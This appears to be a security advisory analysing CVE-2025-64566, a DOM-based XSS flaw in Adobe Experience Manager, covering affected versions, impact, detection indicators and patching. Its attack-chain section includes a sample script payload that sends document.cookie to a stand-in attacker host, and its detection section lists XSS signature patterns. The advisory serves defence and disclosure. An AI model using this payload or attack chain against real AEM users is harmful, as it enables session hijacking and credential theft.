CVE-2025-64566: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64566 is a DOM-based Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to execute malicious scripts in the context of a victim's browser. It affects AEM versions 6.5.23 and earlier (including the 6.5 LTS release) as well as AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 10, 2025, with a patch released on December 12, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically manifesting as a DOM-based XSS flaw. In DOM-based XSS, attacker-controlled data is written to the DOM by client-side JavaScript without proper sanitization, causing the browser to execute injected scripts without a server-side response being modified. Exploitation requires the attacker to have low privileges on the AEM instance and to trick a victim into visiting a crafted URL or interacting with a manipulated web page, making user interaction a necessary precondition. No public proof-of-concept code has been identified at this time (Adobe Advisory, Feedly).

Successful exploitation could allow an attacker to inject and execute arbitrary JavaScript in the victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exposure of sensitive information accessible within the AEM application context. The vulnerability's changed scope means the impact can extend beyond the vulnerable component to affect other browser-accessible resources. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory, Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Craft malicious URL: Construct a URL targeting an AEM endpoint that processes user-supplied input via client-side JavaScript without proper sanitization, embedding a malicious script payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a DOM-sink-susceptible parameter.
3. Deliver payload: Send the crafted URL to a victim with a valid AEM session (e.g., via phishing email, social engineering, or embedding in a shared document), as user interaction is required.
4. Script execution: When the victim visits the crafted URL, the browser's DOM is manipulated by the vulnerable client-side JavaScript, causing the injected script to execute in the victim's browser context.
5. Achieve objective: The executed script can exfiltrate session cookies, perform actions within AEM on behalf of the victim, or redirect the victim to attacker-controlled infrastructure (Adobe Advisory, Feedly).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing AEM pages; unusual GET/POST requests to AEM endpoints containing encoded script tags or JavaScript event handlers in URL parameters.
• Logs: AEM access logs showing requests with URL-encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) in query parameters or fragment identifiers; repeated access to specific AEM pages from multiple user accounts in a short timeframe.
• Browser/Session: Unexpected session terminations or re-authentication prompts for AEM users; reports from users of unexpected redirects or pop-ups while using AEM.

Adobe has released a patch addressing this vulnerability: AEM on-premise users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users should upgrade to 2025.12.0 or later. As a complementary measure, organizations should implement a strict Content Security Policy (CSP) to limit script execution sources, enforce input validation and output encoding in custom AEM components, and monitor access logs for anomalous activity. Upgrading to the patched version is the primary and recommended remediation (Adobe Advisory).